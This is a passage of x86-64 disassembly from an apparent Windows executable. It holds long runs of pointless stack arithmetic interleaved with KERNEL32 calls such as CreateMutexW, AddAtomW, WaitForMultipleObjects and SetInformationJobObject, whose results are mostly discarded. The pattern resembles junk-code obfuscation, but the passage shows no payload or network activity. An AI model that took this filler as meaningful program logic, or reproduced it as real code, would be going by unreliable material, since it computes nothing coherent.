movzx eax, word [rax]
movzx ecx, word [0x14018c158]
add eax, ecx
mov rcx, qword [rsp + 0x57c0]
mov word [rcx], ax
lea rax, [rsp + 0x154]
mov qword [rsp + 0x5860], rax
mov eax, dword [rsp + 0x1e80]
mov rcx, qword [rsp + 0x44b0]
mov qword [rsp + 0x5868], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5868]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
lea rax, [rsp + 0x36c8]
mov qword [rsp + 0x5870], rax
mov rax, qword [rsp + 0x4608]
mov eax, dword [rax]
mov ecx, dword [0x14018ad60]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3b80]
mov dword [rcx], eax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0x5878], rax
mov rax, qword [rsp + 0x4a98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x46e8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4390]
mov qword [rcx], rax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x624]
shl eax, cl
mov word [rsp + 0xd38], ax
movzx eax, word [rsp + 0xccc]
mov rcx, qword [rsp + 0x5420]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c120]
mov word [rcx], ax
lea rax, [rsp + 0x5058]
mov qword [rsp + 0x5880], rax
movzx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x4070]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
lea rax, [rsp + 0xd44]
mov qword [rsp + 0x5888], rax
mov rax, qword [rsp + 0x4860]
mov rcx, qword [0x14018c168]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5450]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4420]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x20f0]
shr eax, cl
mov rcx, qword [rsp + 0x5350]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2e28]
mov qword [rsp + 0x5890], rax
mov rax, qword [rsp + 0x4140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10e]
sub eax, ecx
mov rcx, qword [rsp + 0x44b8]
mov byte [rcx], al
lea rax, [rsp + 0x4d4]
mov qword [rsp + 0x5898], rax
lea rax, [rsp + 0x48b8]
mov qword [0x14018c210], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x58a0], rax
mov rax, qword [rsp + 0x4d90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2108]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5338]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x4a80]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
lea rax, [rsp + 0x3ac]
mov qword [rsp + 0x58a8], rax
mov rax, qword [rsp + 0x5420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4098]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c90]
mov word [rcx], ax
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2058], eax
lea rax, [rsp + 0x4e00]
mov qword [rsp + 0x58b0], rax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5078]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4708]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f30]
movsx eax, byte [rax]
mov rcx, qword [0x14018bf10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x54f8]
mov byte [rcx], al
lea rax, [rsp + 0xc90]
mov qword [rsp + 0x58b8], rax
mov rax, qword [rsp + 0x4d18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd98]
xor eax, ecx
mov word [0x14018c070], ax
mov rax, qword [rsp + 0x56c8]
mov rcx, qword [rsp + 0x3a10]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x4360]
movzx ecx, al
mov rax, qword [rsp + 0x4350]
shl rax, cl
mov qword [rsp + 0x3610], rax
mov rax, qword [rsp + 0x4a68]
mov rcx, qword [rsp + 0x49a0]
mov qword [rsp + 0x58c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x58c0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x48f0]
mov qword [rcx], rax
lea rax, [0x14018bf08]
mov qword [rsp + 0x58c8], rax
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [rsp + 0x3220]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x52f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x44f0]
mov rcx, qword [rsp + 0x3a68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x41c0]
mov dword [rcx], eax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x58d0], rax
mov rax, qword [rsp + 0x4af0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2094]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4c40]
mov dword [rcx], eax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x58d8], rax
movsx eax, word [rsp + 0xd2c]
movsx ecx, word [rsp + 0x768]
sar eax, cl
mov word [0x14018bdc4], ax
mov rax, qword [rsp + 0x43b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x45a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3dc], ax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd80]
and eax, ecx
mov word [rsp + 0x97c], ax
lea rax, [rsp + 0x3428]
mov qword [rsp + 0x58e0], rax
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11d]
add eax, ecx
mov byte [rsp + 0x1b8], al
lea rax, [rsp + 0x20a0]
mov qword [rsp + 0x58e8], rax
mov rax, qword [0x14018c0e8]
mov rcx, qword [rsp + 0x5220]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2b08], rax
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0xcac]
and eax, ecx
mov word [rsp + 0xc84], ax
lea rax, [rsp + 0xd4c]
mov qword [rsp + 0x58f0], rax
mov rcx, qword [rsp + 0x3b10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x5590]
mov qword [0x14018c218], rax
movzx eax, word [rsp + 0x3dc]
movzx ecx, word [rsp + 0xd90]
or eax, ecx
mov rcx, qword [rsp + 0x4ab8]
mov word [rcx], ax
lea rax, [rsp + 0x3080]
mov qword [rsp + 0x58f8], rax
mov rax, qword [rsp + 0x3e70]
mov rax, qword [rax]
mov rcx, qword [0x14018ace0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e78]
mov qword [rcx], rax
lea rax, [rsp + 0x20ac]
mov qword [rsp + 0x5900], rax
mov rax, qword [rsp + 0x5560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c70]
mov qword [rsp + 0x5908], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5908]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4530]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1e98]
mov rcx, qword [rsp + 0x44b0]
mov qword [rsp + 0x5910], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5910]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b58]
movzx eax, byte [rax]
mov byte [rsp + 0x1d4], al
movsx eax, byte [rsp + 0x1b1]
movsx ecx, byte [rsp + 0x1b5]
add eax, ecx
mov rcx, qword [rsp + 0x54f8]
mov byte [rcx], al
movzx eax, word [0x14018ad44]
mov word [0x14018c220], ax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x5918], rax
movzx ecx, word [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdc0], ax
mov rax, qword [rsp + 0x4b78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x53e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4470]
mov word [rcx], ax
movzx eax, word [rsp + 0x8fc]
movzx ecx, word [rsp + 0x694]
and eax, ecx
mov rcx, qword [rsp + 0x3e98]
mov word [rcx], ax
mov eax, dword [rsp + 0x207c]
mov dword [rsp + 0x210c], eax
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [rsp + 0x1af]
add eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
lea rax, [rsp + 0x4540]
mov qword [rsp + 0x5920], rax
mov rax, qword [rsp + 0x4ee0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd6c]
sar eax, cl
mov rcx, qword [rsp + 0x5188]
mov word [rcx], ax
mov rax, qword [rsp + 0x54b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xccc]
sub eax, ecx
mov rcx, qword [rsp + 0x5800]
mov word [rcx], ax
mov rax, qword [0x14018c068]
mov rcx, qword [rsp + 0x4f40]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018c0b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4508]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x48b8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ee0], rax
mov rax, qword [rsp + 0x4df0]
mov rcx, qword [0x14018ad28]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x51d0]
mov qword [rcx], rax
lea rax, [rsp + 0x40b0]
mov qword [rsp + 0x5928], rax
movzx eax, word [rsp + 0x9dc]
mov rcx, qword [rsp + 0x4588]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xce0], ax
mov rax, qword [rsp + 0x5378]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5488]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x52a8]
mov byte [rcx], al
lea rax, [rsp + 0x1f68]
mov qword [rsp + 0x5930], rax
mov eax, dword [rsp + 0x2084]
movzx ecx, al
mov eax, dword [rsp + 0x1e0c]
shr eax, cl
mov rcx, qword [rsp + 0x5440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5550]
movzx eax, byte [rax]
mov byte [rsp + 0x1d5], al
mov rax, qword [rsp + 0x4438]
mov rcx, qword [rsp + 0x37b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14018ad68], rax
mov rax, qword [rsp + 0x48b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd04]
add eax, ecx
mov rcx, qword [rsp + 0x4298]
mov word [rcx], ax
mov rax, qword [0x14018c088]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x970], ax
mov rax, qword [rsp + 0x57c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3d8]
add eax, ecx
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x49d0]
mov rcx, qword [rsp + 0x5880]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3250], rax
lea rax, [rsp + 0x1fd8]
mov qword [rsp + 0x5938], rax
mov rax, qword [rsp + 0x49b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18d]
sar eax, cl
mov byte [rsp + 0x1c2], al
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x4258]
mov qword [rsp + 0x5940], rax
mov rax, qword [rsp + 0x4ca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
add eax, ecx
mov rcx, qword [rsp + 0x4490]
mov word [rcx], ax
movzx eax, word [rsp + 0xd08]
mov rcx, qword [rsp + 0x50c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018bf00]
mov word [rcx], ax
mov r9d, 0x82d
xor r8d, r8d
lea rdx, [rsp + 0x4738]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2018], eax
mov rax, qword [0x14018c1a8]
mov rcx, qword [rsp + 0x3320]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x52d0], rax
mov rcx, qword [rsp + 0x4de0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xc94]
mov word [rsp + 0xdc4], ax
mov eax, dword [rsp + 0x2100]
mov ecx, dword [rsp + 0x1ec0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4aa8]
mov dword [rcx], eax
lea rax, [rsp + 0x1d2]
mov qword [rsp + 0x5948], rax
mov eax, dword [rsp + 0x20c8]
mov rcx, qword [rsp + 0x4008]
mov qword [rsp + 0x5950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5950]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x20c4], eax
mov rax, qword [rsp + 0x4b60]
mov rcx, qword [rsp + 0x3068]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1d5]
mov byte [rsp + 0x1d6], al
movsx eax, word [rsp + 0xd24]
mov rcx, qword [rsp + 0x5448]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5788]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018bff8]
mov word [rcx], ax
lea rax, [rsp + 0x3368]
mov qword [rsp + 0x5958], rax
mov rax, qword [rsp + 0x52c0]
mov rcx, qword [rsp + 0x2ee0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5328]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5118]
movsx eax, word [rax]
mov rcx, qword [0x14018be70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcec], ax
lea rax, [rsp + 0xd58]
mov qword [rsp + 0x5960], rax
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x4e00]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50f8]
mov qword [rcx], rax
lea rax, [rsp + 0x19f]
mov qword [rsp + 0x5968], rax
mov rax, qword [rsp + 0x4898]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a4], eax
mov rax, qword [rsp + 0x5720]
movzx ecx, al
mov rax, qword [rsp + 0x42d8]
sar rax, cl
mov qword [rsp + 0x36e0], rax
lea rax, [rsp + 0xd20]
mov qword [0x14018c228], rax
movzx eax, word [rsp + 0x558]
mov rcx, qword [rsp + 0x4578]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov eax, dword [rsp + 0x1ec0]
movzx ecx, al
mov eax, dword [rsp + 0x1c2c]
shl eax, cl
mov rcx, qword [rsp + 0x4bc8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1d3]
mov byte [rsp + 0x1d7], al
mov rax, qword [0x14018bfe8]
mov rcx, qword [rsp + 0x41a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4b08], rax
lea rax, [rsp + 0x2074]
mov qword [rsp + 0x5970], rax
mov rax, qword [0x14018bfc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3870]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x30c8], rax
mov rax, qword [rsp + 0x41a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5400]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov byte [rcx], al
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x5978], rax
lea rax, [rsp + 0xce0]
mov qword [0x14018c230], rax
mov rax, qword [rsp + 0x5020]
mov rax, qword [rax]
mov rcx, qword [0x14018c018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cc8], rax
movzx eax, word [rsp + 0xc9c]
mov rcx, qword [rsp + 0x3d98]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0x3fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd20]
sar eax, cl
mov word [rsp + 0xc84], ax
mov rax, qword [rsp + 0x57f8]
mov rcx, qword [rsp + 0x5358]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5690]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2b88]
mov qword [rsp + 0x5980], rax
mov rax, qword [rsp + 0x58e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2040]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5078]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x4270]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x157], al
movzx eax, word [rsp + 0xcd0]
mov rcx, qword [0x14018c160]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xdb8], ax
mov rax, qword [rsp + 0x4b98]
mov rcx, qword [rsp + 0x2b50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c050]
mov qword [rcx], rax
lea rax, [rsp + 0x1d7]
mov qword [rsp + 0x5988], rax
mov eax, dword [rsp + 0x1c40]
mov rcx, qword [rsp + 0x4ea0]
mov qword [rsp + 0x5990], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5990]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4520]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
shl eax, cl
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
movzx eax, word [rsp + 0x61c]
mov word [rsp + 0xdc8], ax
mov rax, qword [0x14018c098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3068]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5820]
mov qword [rcx], rax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x5998], rax
mov rax, qword [rsp + 0x4720]
mov rcx, qword [rsp + 0x47a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1b14], eax
movsx eax, word [rsp + 0xc84]
movsx ecx, word [rsp + 0xd14]
sub eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
movzx eax, word [rsp + 0xcc4]
movzx ecx, word [rsp + 0xca4]
add eax, ecx
mov rcx, qword [0x14018be50]
mov word [rcx], ax
lea rax, [rsp + 0x2fc8]
mov qword [rsp + 0x59a0], rax
mov rax, qword [rsp + 0x47b0]
mov rcx, qword [rsp + 0x4b70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5288]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4610]
mov qword [rsp + 0x59a8], rax
movsx eax, word [rsp + 0xac4]
movsx ecx, word [rsp + 0xce4]
sar eax, cl
mov rcx, qword [rsp + 0x4848]
mov word [rcx], ax
mov rax, qword [rsp + 0x44f0]
mov ecx, dword [rsp + 0x2048]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
lea rcx, [0x1401501b0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xdcc], ax
movsx eax, byte [rsp + 0x1a2]
mov rcx, qword [rsp + 0x5550]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0x4a98]
mov rcx, qword [rsp + 0x4440]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56f8], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x59b0], rax
mov rax, qword [rsp + 0x4f88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e98], eax
lea rax, [rsp + 0xc68]
mov qword [0x14018c238], rax
movzx eax, word [rsp + 0x9dc]
movzx ecx, word [rsp + 0xd58]
and eax, ecx
mov rcx, qword [rsp + 0x4948]
mov word [rcx], ax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0x59b8], rax
mov rax, qword [rsp + 0x4e78]
mov rcx, qword [0x14018c108]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4a78]
mov qword [rcx], rax
lea rax, [rsp + 0x4568]
mov qword [rsp + 0x59c0], rax
mov rax, qword [rsp + 0x54d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x209c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ca8], eax
lea rax, [rsp + 0x1b1]
mov qword [rsp + 0x59c8], rax
mov rax, qword [rsp + 0x52b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3f18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd90]
or eax, ecx
mov rcx, qword [rsp + 0x4728]
mov word [rcx], ax
mov rax, qword [0x14018c218]
movzx ecx, al
mov rax, qword [rsp + 0x2ac8]
sar rax, cl
mov rcx, qword [0x14018c050]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c08]
movzx eax, word [rax]
mov word [rsp + 0xdd0], ax
mov rax, qword [rsp + 0x5590]
mov rcx, qword [rsp + 0x3098]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5798], rax
mov rax, qword [rsp + 0x5450]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b30], rax
mov rax, qword [rsp + 0x38a0]
mov rcx, qword [rsp + 0x4d68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x45d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5878]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x46f8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4088]
mov byte [rcx], al
movzx eax, byte [0x14018acda]
mov byte [rsp + 0x1d8], al
mov rax, qword [rsp + 0x4520]
mov rcx, qword [rsp + 0x50d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3a40]
mov dword [rcx], eax
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0x59d0], rax
lea rax, [0x14018c220]
mov qword [0x14018c240], rax
movsx eax, word [rsp + 0xdb0]
movsx ecx, word [rsp + 0x624]
add eax, ecx
mov word [rsp + 0xce4], ax
movzx eax, word [rsp + 0xd90]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5128]
mov word [rcx], ax
lea rax, [rsp + 0xbfc]
mov qword [rsp + 0x59d8], rax
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x20ac]
movzx ecx, al
mov eax, dword [rsp + 0x1c3c]
shl eax, cl
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5750]
mov qword [rsp + 0x59e0], rax
movsx eax, byte [rsp + 0x1cd]
movsx ecx, byte [rsp + 0x109]
xor eax, ecx
mov byte [rsp + 0x1c2], al
lea rax, [rsp + 0xd74]
mov qword [rsp + 0x59e8], rax
mov rax, qword [rsp + 0x5290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x56a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0x48a8]
mov rax, qword [rax]
mov qword [0x14018c248], rax
mov rax, qword [rsp + 0x4c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4300]
mov qword [rsp + 0x59f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x59f0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x33f8], rax
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x59f8], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4878]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x34f8], rax
mov rax, qword [rsp + 0x4d58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x48e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e4], ax
mov rax, qword [rsp + 0x4c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2060]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5930]
mov dword [rcx], eax
movzx eax, byte [0x14018acda]
mov rcx, qword [rsp + 0x5240]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5378]
mov byte [rcx], al
lea rax, [rsp + 0x3640]
mov qword [rsp + 0x5a00], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov eax, dword [rsp + 0x1b0c]
mov ecx, dword [rsp + 0x20ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2034], eax
mov rax, qword [rsp + 0x4140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x167]
sar eax, cl
mov byte [0x14018bdc6], al
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x5a08], rax
mov rax, qword [rsp + 0x4528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc84]
sub eax, ecx
mov word [rsp + 0xcbc], ax
mov rax, qword [0x14018c208]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5218]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4920]
mov word [rcx], ax
lea rax, [rsp + 0x3880]
mov qword [rsp + 0x5a10], rax
mov rax, qword [0x14018c098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4060]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4990]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5710]
mov eax, dword [rax]
mov dword [rsp + 0x2110], eax
mov rax, qword [rsp + 0x5790]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4940]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
shl eax, cl
mov word [rsp + 0xd6c], ax
lea rax, [rsp + 0xd94]
mov qword [0x14018c250], rax
lea rax, [rsp + 0x3098]
mov qword [rsp + 0x5a18], rax
movzx eax, word [rsp + 0xda8]
mov rcx, qword [rsp + 0x5960]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x59d8]
mov word [rcx], ax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x1c3]
sar eax, cl
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0x53a0]
mov ecx, dword [rsp + 0x1fd0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1cb8], eax
lea rax, [rsp + 0x1b9]
mov qword [rsp + 0x5a20], rax
mov rax, qword [0x14018c188]
mov ecx, dword [rsp + 0x2040]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x48d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x45d8]
mov qword [rcx], rax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x5a28], rax
mov rax, qword [rsp + 0x58f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b18]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018c008]
mov word [rcx], ax
mov rax, qword [rsp + 0x5268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x40b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4860]
mov qword [rcx], rax
lea rax, [0x14018be90]
mov qword [rsp + 0x5a30], rax
mov edx, 0x2547
mov rcx, qword [rsp + 0x4800]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2114], eax
mov rax, qword [rsp + 0x5470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3ac]
and eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ab8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5568]
mov word [rcx], ax
lea rax, [0x14018be48]
mov qword [rsp + 0x5a38], rax
mov rax, qword [rsp + 0x43b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ad]
add eax, ecx
mov rcx, qword [rsp + 0x4338]
mov byte [rcx], al
mov rax, qword [rsp + 0x3e80]
mov eax, dword [rax]
mov dword [rsp + 0x2118], eax
mov rax, qword [rsp + 0x5690]
